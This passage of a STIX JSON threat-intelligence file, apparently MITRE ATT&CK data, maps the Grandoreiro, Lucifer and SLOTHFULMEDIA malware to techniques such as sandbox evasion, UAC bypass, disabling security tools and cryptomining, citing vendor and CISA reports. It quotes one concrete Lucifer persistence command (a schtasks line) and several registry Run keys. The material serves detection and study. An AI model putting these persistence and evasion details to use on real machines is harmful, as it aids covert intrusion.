            "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can collect the username from the victim's machine.(Citation: ESET Grandoreiro April 2020)",
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            ],
            "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can collect the computer name and OS version from a compromised host.(Citation: ESET Grandoreiro April 2020)",
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                    "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/",
                    "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."
                }
            ],
            "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can store its configuration in the Registry at <code>HKCU\\Software\\</code> under frequently changing names including <code>%USERNAME%</code> and <code>ToolTech-RM</code>.(Citation: ESET Grandoreiro April 2020)",
            "relationship_type": "uses",
            "id": "relationship--2e53dad4-17cc-4fe6-a3b9-d622075d78f7",
            "type": "relationship",
            "modified": "2020-11-13T20:31:37.017Z",
            "created": "2020-11-13T20:31:37.017Z"
        },
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            ],
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            "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077",
            "external_references": [
                {
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                    "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/",
                    "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."
                }
            ],
            "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can determine the time on the victim machine via IPinfo.(Citation: ESET Grandoreiro April 2020)",
            "relationship_type": "uses",
            "id": "relationship--509a61b8-292e-4292-b4e8-c1c9901582ec",
            "type": "relationship",
            "modified": "2020-12-09T19:12:41.072Z",
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        },
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                {
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                    "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."
                }
            ],
            "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can determine the IP and physical location of the compromised host via IPinfo.(Citation: ESET Grandoreiro April 2020)",
            "relationship_type": "uses",
            "id": "relationship--ceebecd3-5cab-40fd-8020-f5cb06f3ccd7",
            "type": "relationship",
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            ],
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            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
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                {
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                    "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/",
                    "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."
                }
            ],
            "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can delete .LNK files created in the Startup folder.(Citation: ESET Grandoreiro April 2020)",
            "relationship_type": "uses",
            "id": "relationship--855c7acd-9fa1-48a3-af4a-16de53499c3b",
            "type": "relationship",
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            "created": "2020-11-13T20:48:15.127Z"
        },
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                {
                    "source_name": "ESET Grandoreiro April 2020",
                    "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/",
                    "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."
                }
            ],
            "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can detect VMWare via its I/O port and Virtual PC via the <code>vpcext</code> instruction.(Citation: ESET Grandoreiro April 2020)",
            "relationship_type": "uses",
            "id": "relationship--8ba9be70-d849-4f64-94b8-edc4384605a5",
            "type": "relationship",
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        },
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            ],
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            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
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                {
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                    "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/",
                    "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."
                }
            ],
            "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can identify installed security tools based on process names.(Citation: ESET Grandoreiro April 2020)",
            "relationship_type": "uses",
            "id": "relationship--13ab9b58-b18a-437f-898e-fc598e8d0939",
            "type": "relationship",
            "modified": "2020-11-13T21:28:40.657Z",
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        },
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            ],
            "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7",
            "target_ref": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830",
            "external_references": [
                {
                    "source_name": "ESET Grandoreiro April 2020",
                    "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/",
                    "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."
                }
            ],
            "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can identify installed security tools based on window names.(Citation: ESET Grandoreiro April 2020)",
            "relationship_type": "uses",
            "id": "relationship--5adc78d2-a013-4a4e-afda-9a7dd38fb5fa",
            "type": "relationship",
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            "created": "2020-11-13T21:28:40.730Z"
        },
        {
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            ],
            "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7",
            "target_ref": "attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b",
            "external_references": [
                {
                    "source_name": "ESET Grandoreiro April 2020",
                    "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/",
                    "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."
                }
            ],
            "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can block the Deibold Warsaw GAS Tecnologia security tool at the firewall level.(Citation: ESET Grandoreiro April 2020)",
            "relationship_type": "uses",
            "id": "relationship--7fea2b8f-60f8-400a-bfef-08471fb75a3e",
            "type": "relationship",
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            "created": "2020-11-13T21:28:40.778Z"
        },
        {
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            ],
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            "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579",
            "external_references": [
                {
                    "source_name": "ESET Grandoreiro April 2020",
                    "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/",
                    "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."
                }
            ],
            "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can hook APIs, kill processes, break file system paths, and change ACLs to prevent security tools from running.(Citation: ESET Grandoreiro April 2020)",
            "relationship_type": "uses",
            "id": "relationship--7a66c52c-2ff1-4242-90d0-95a4b47181c2",
            "type": "relationship",
            "modified": "2020-12-09T19:12:41.269Z",
            "created": "2020-11-13T21:28:40.790Z"
        },
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            ],
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            "target_ref": "attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5",
            "external_references": [
                {
                    "source_name": "ESET Grandoreiro April 2020",
                    "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/",
                    "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."
                }
            ],
            "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) has added BMP images to the resources section of its Portable Executable (PE) file increasing each binary to at least 300MB in size.(Citation: ESET Grandoreiro April 2020)",
            "relationship_type": "uses",
            "id": "relationship--6ab65410-25e5-4eef-8a38-06630aa4386b",
            "type": "relationship",
            "modified": "2020-11-13T21:28:40.835Z",
            "created": "2020-11-13T21:28:40.835Z"
        },
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            ],
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            "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670",
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                {
                    "source_name": "ESET Grandoreiro April 2020",
                    "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/",
                    "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."
                }
            ],
            "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can execute through the <code>WinExec</code> API.(Citation: ESET Grandoreiro April 2020)",
            "relationship_type": "uses",
            "id": "relationship--d06c864f-e4b8-484d-8e75-76a480509665",
            "type": "relationship",
            "modified": "2020-12-09T19:12:41.319Z",
            "created": "2020-11-13T21:33:01.831Z"
        },
        {
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            ],
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            "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073",
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                {
                    "source_name": "ESET Grandoreiro April 2020",
                    "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/",
                    "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."
                }
            ],
            "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can bypass UAC by registering as the default handler for .MSC files.(Citation: ESET Grandoreiro April 2020)",
            "relationship_type": "uses",
            "id": "relationship--c1b5ad09-6b1a-487e-bec1-af2326be5007",
            "type": "relationship",
            "modified": "2020-11-13T21:47:03.958Z",
            "created": "2020-11-13T21:33:01.885Z"
        },
        {
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            ],
            "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7",
            "target_ref": "attack-pattern--34e793de-0274-4982-9c1a-246ed1c19dee",
            "external_references": [
                {
                    "source_name": "ESET Grandoreiro April 2020",
                    "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/",
                    "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."
                }
            ],
            "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can modify the binary ACL to prevent security tools from running.(Citation: ESET Grandoreiro April 2020)",
            "relationship_type": "uses",
            "id": "relationship--47266bcb-b16a-4d95-9c10-bfc48b2f5a8b",
            "type": "relationship",
            "modified": "2020-12-09T19:12:41.373Z",
            "created": "2020-11-13T21:48:16.981Z"
        },
        {
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            ],
            "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7",
            "target_ref": "attack-pattern--4bc31b94-045b-4752-8920-aebaebdb6470",
            "external_references": [
                {
                    "source_name": "ESET Grandoreiro April 2020",
                    "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/",
                    "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."
                }
            ],
            "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can parse Outlook .pst files to extract e-mail addresses.(Citation: ESET Grandoreiro April 2020)",
            "relationship_type": "uses",
            "id": "relationship--6231644a-5a32-4458-b950-444f84e1b476",
            "type": "relationship",
            "modified": "2020-12-09T19:12:41.390Z",
            "created": "2020-11-13T21:50:44.860Z"
        },
        {
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            ],
            "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7",
            "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d",
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                {
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                    "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/",
                    "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."
                }
            ],
            "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) can send data it retrieves to the C2 server.(Citation: ESET Grandoreiro April 2020)",
            "relationship_type": "uses",
            "id": "relationship--3c662aa7-0ee8-4e42-b0b9-de0dc2f02a57",
            "type": "relationship",
            "modified": "2020-11-13T21:52:00.732Z",
            "created": "2020-11-13T21:52:00.732Z"
        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--54a73038-1937-4d71-a253-316e76d5413c",
            "target_ref": "attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119",
            "external_references": [
                {
                    "source_name": "Unit 42 Lucifer June 2020",
                    "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/",
                    "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."
                }
            ],
            "description": "[Lucifer](https://attack.mitre.org/software/S0532) has attempted to brute force TCP ports 135 (RPC) and 1433 (MSSQL) with the default username or list of usernames and    passwords.(Citation: Unit 42 Lucifer June 2020)",
            "relationship_type": "uses",
            "id": "relationship--b7e456b1-ed5e-48f0-be6e-df3e7d6b4044",
            "type": "relationship",
            "modified": "2020-11-20T16:15:38.463Z",
            "created": "2020-11-16T19:26:58.857Z"
        },
        {
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            ],
            "source_ref": "malware--54a73038-1937-4d71-a253-316e76d5413c",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "external_references": [
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                    "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/",
                    "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."
                }
            ],
            "description": "[Lucifer](https://attack.mitre.org/software/S0532) can perform a decremental-xor encryption on the initial C2 request before sending it over the wire.(Citation: Unit 42 Lucifer June 2020)",
            "relationship_type": "uses",
            "id": "relationship--339746da-8c6e-4273-8e17-895d3b50fe4d",
            "type": "relationship",
            "modified": "2020-11-20T16:59:43.829Z",
            "created": "2020-11-16T19:26:58.935Z"
        },
        {
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            ],
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            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "external_references": [
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                    "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/",
                    "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."
                }
            ],
            "description": "[Lucifer](https://attack.mitre.org/software/S0532) has the ability to identify the username on a compromised host.(Citation: Unit 42 Lucifer June 2020)",
            "relationship_type": "uses",
            "id": "relationship--42205acc-2d23-4ea9-ac29-980b6517d908",
            "type": "relationship",
            "modified": "2020-11-16T19:36:31.439Z",
            "created": "2020-11-16T19:36:31.439Z"
        },
        {
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            ],
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            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "external_references": [
                {
                    "source_name": "Unit 42 Lucifer June 2020",
                    "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/",
                    "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."
                }
            ],
            "description": "[Lucifer](https://attack.mitre.org/software/S0532) can collect the computer name, system architecture, default language, and processor frequency of a compromised host.(Citation: Unit 42 Lucifer June 2020)",
            "relationship_type": "uses",
            "id": "relationship--aecb4057-07a2-4b44-805a-5566a4047e23",
            "type": "relationship",
            "modified": "2020-11-18T18:23:19.125Z",
            "created": "2020-11-16T19:36:31.507Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--54a73038-1937-4d71-a253-316e76d5413c",
            "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6",
            "external_references": [
                {
                    "source_name": "Unit 42 Lucifer June 2020",
                    "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/",
                    "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."
                }
            ],
            "description": "[Lucifer](https://attack.mitre.org/software/S0532) can check for specific usernames, computer names, device drivers, DLL's, and virtual devices associated with sandboxed environments and can enter an infinite loop and stop itself if any are detected.(Citation: Unit 42 Lucifer June 2020)",
            "relationship_type": "uses",
            "id": "relationship--5473acfd-2cb3-45a8-97cb-c3962c606f1e",
            "type": "relationship",
            "modified": "2020-11-16T19:36:31.572Z",
            "created": "2020-11-16T19:36:31.572Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--54a73038-1937-4d71-a253-316e76d5413c",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "external_references": [
                {
                    "source_name": "Unit 42 Lucifer June 2020",
                    "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/",
                    "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."
                }
            ],
            "description": "[Lucifer](https://attack.mitre.org/software/S0532) can download and execute a replica of itself using [certutil](https://attack.mitre.org/software/S0160).(Citation: Unit 42 Lucifer June 2020)",
            "relationship_type": "uses",
            "id": "relationship--322a78a2-1765-414f-9b07-29a1360e1134",
            "type": "relationship",
            "modified": "2020-11-16T20:05:31.231Z",
            "created": "2020-11-16T20:05:31.231Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--54a73038-1937-4d71-a253-316e76d5413c",
            "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82",
            "external_references": [
                {
                    "source_name": "Unit 42 Lucifer June 2020",
                    "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/",
                    "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."
                }
            ],
            "description": "[Lucifer](https://attack.mitre.org/software/S0532) can exploit multiple vulnerabilities including EternalBlue (CVE-2017-0144) and EternalRomance (CVE-2017-0144).(Citation: Unit 42 Lucifer June 2020)",
            "relationship_type": "uses",
            "id": "relationship--c1a8eea8-f273-4dad-8ae0-d5c93bf5467f",
            "type": "relationship",
            "modified": "2020-11-20T17:06:17.941Z",
            "created": "2020-11-16T20:14:25.585Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--54a73038-1937-4d71-a253-316e76d5413c",
            "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88",
            "external_references": [
                {
                    "source_name": "Unit 42 Lucifer June 2020",
                    "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/",
                    "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."
                }
            ],
            "description": "[Lucifer](https://attack.mitre.org/software/S0532) can scan for open ports including TCP ports 135 and 1433.(Citation: Unit 42 Lucifer June 2020)",
            "relationship_type": "uses",
            "id": "relationship--eacb7614-6cc9-4eb9-92fc-bba53ac4f59a",
            "type": "relationship",
            "modified": "2020-11-16T20:20:30.532Z",
            "created": "2020-11-16T20:20:30.532Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--54a73038-1937-4d71-a253-316e76d5413c",
            "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6",
            "external_references": [
                {
                    "source_name": "Unit 42 Lucifer June 2020",
                    "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/",
                    "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."
                }
            ],
            "description": "[Lucifer](https://attack.mitre.org/software/S0532) can use the Stratum protocol on port 10001 for communication between the cryptojacking bot and the mining server.(Citation: Unit 42 Lucifer June 2020)",
            "relationship_type": "uses",
            "id": "relationship--bfc5ca31-5d92-4c51-be33-e610df85055a",
            "type": "relationship",
            "modified": "2020-11-20T18:17:32.046Z",
            "created": "2020-11-16T20:23:05.963Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--54a73038-1937-4d71-a253-316e76d5413c",
            "target_ref": "attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783",
            "external_references": [
                {
                    "source_name": "Unit 42 Lucifer June 2020",
                    "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/",
                    "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."
                }
            ],
            "description": "[Lucifer](https://attack.mitre.org/software/S0532) can use system resources to mine cryptocurrency, dropping XMRig to mine Monero.(Citation: Unit 42 Lucifer June 2020)",
            "relationship_type": "uses",
            "id": "relationship--0493bf17-29a1-4825-b1a2-6e037288637f",
            "type": "relationship",
            "modified": "2020-11-16T20:29:26.342Z",
            "created": "2020-11-16T20:29:26.342Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--54a73038-1937-4d71-a253-316e76d5413c",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "external_references": [
                {
                    "source_name": "Unit 42 Lucifer June 2020",
                    "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/",
                    "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."
                }
            ],
            "description": "[Lucifer](https://attack.mitre.org/software/S0532) can persist by setting Registry key values <code>HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\QQMusic</code> and <code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\QQMusic</code>.(Citation: Unit 42 Lucifer June 2020)",
            "relationship_type": "uses",
            "id": "relationship--25022051-be2f-4cc2-b61a-3de03fc3e8d6",
            "type": "relationship",
            "modified": "2020-11-16T20:36:49.663Z",
            "created": "2020-11-16T20:36:49.663Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--54a73038-1937-4d71-a253-316e76d5413c",
            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "external_references": [
                {
                    "source_name": "Unit 42 Lucifer June 2020",
                    "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/",
                    "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."
                }
            ],
            "description": "[Lucifer](https://attack.mitre.org/software/S0532) has established persistence by creating the following scheduled task <code>schtasks /create /sc minute /mo 1 /tn QQMusic ^ /tr C:Users\\%USERPROFILE%\\Downloads\\spread.exe /F</code>.(Citation: Unit 42 Lucifer June 2020)",
            "relationship_type": "uses",
            "id": "relationship--5d972f64-4c81-43ce-ba08-2c791bd78287",
            "type": "relationship",
            "modified": "2020-11-20T18:19:44.010Z",
            "created": "2020-11-16T20:48:01.885Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--54a73038-1937-4d71-a253-316e76d5413c",
            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
            "external_references": [
                {
                    "source_name": "Unit 42 Lucifer June 2020",
                    "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/",
                    "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."
                }
            ],
            "description": "[Lucifer](https://attack.mitre.org/software/S0532) can check for existing stratum cryptomining information in <code>HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\spreadCpuXmr \u2013 %stratum info%</code>.(Citation: Unit 42 Lucifer June 2020)",
            "relationship_type": "uses",
            "id": "relationship--f8c754dd-a4a8-4507-bce2-c738e5354a3c",
            "type": "relationship",
            "modified": "2020-11-16T21:16:42.732Z",
            "created": "2020-11-16T21:16:42.732Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--54a73038-1937-4d71-a253-316e76d5413c",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "external_references": [
                {
                    "source_name": "Unit 42 Lucifer June 2020",
                    "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/",
                    "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."
                }
            ],
            "description": "[Lucifer](https://attack.mitre.org/software/S0532) can decrypt its C2 address upon execution.(Citation: Unit 42 Lucifer June 2020)",
            "relationship_type": "uses",
            "id": "relationship--1c9d4988-d9ea-4dd5-aef1-adb0232e87a3",
            "type": "relationship",
            "modified": "2020-11-16T21:16:42.788Z",
            "created": "2020-11-16T21:16:42.788Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90",
            "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c",
            "external_references": [
                {
                    "source_name": "CISA MAR SLOTHFULMEDIA October 2020",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a",
                    "description": "DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 \u2013 Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020."
                }
            ],
            "description": "[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) has named a service it establishes on victim machines as \"TaskFrame\" to hide its malicious purpose.(Citation: CISA MAR SLOTHFULMEDIA October 2020) ",
            "relationship_type": "uses",
            "id": "relationship--5c039dbf-c443-4f9b-b036-fcabaed74a3b",
            "type": "relationship",
            "modified": "2020-11-17T18:39:06.904Z",
            "created": "2020-11-17T18:39:06.904Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "external_references": [
                {
                    "source_name": "CISA MAR SLOTHFULMEDIA October 2020",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a",
                    "description": "DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 \u2013 Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020."
                }
            ],
            "description": "[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) has created a service on victim machines named \"TaskFrame\" to establish persistence.(Citation: CISA MAR SLOTHFULMEDIA October 2020)",
            "relationship_type": "uses",
            "id": "relationship--5724994d-7213-4a70-8065-1a12280f8f4c",
            "type": "relationship",
            "modified": "2020-11-17T18:39:06.979Z",
            "created": "2020-11-17T18:39:06.979Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90",
            "target_ref": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d",
            "external_references": [
                {
                    "source_name": "CISA MAR SLOTHFULMEDIA October 2020",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a",
                    "description": "DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 \u2013 Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020."
                }
            ],
            "description": "[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) has been created with a hidden attribute to insure it's not visible to the victim.(Citation: CISA MAR SLOTHFULMEDIA October 2020)",
            "relationship_type": "uses",
            "id": "relationship--f71229d4-5499-4eb1-ad83-b18a1063b5b7",
            "type": "relationship",
            "modified": "2020-11-17T18:39:07.044Z",
            "created": "2020-11-17T18:39:07.044Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "external_references": [
                {
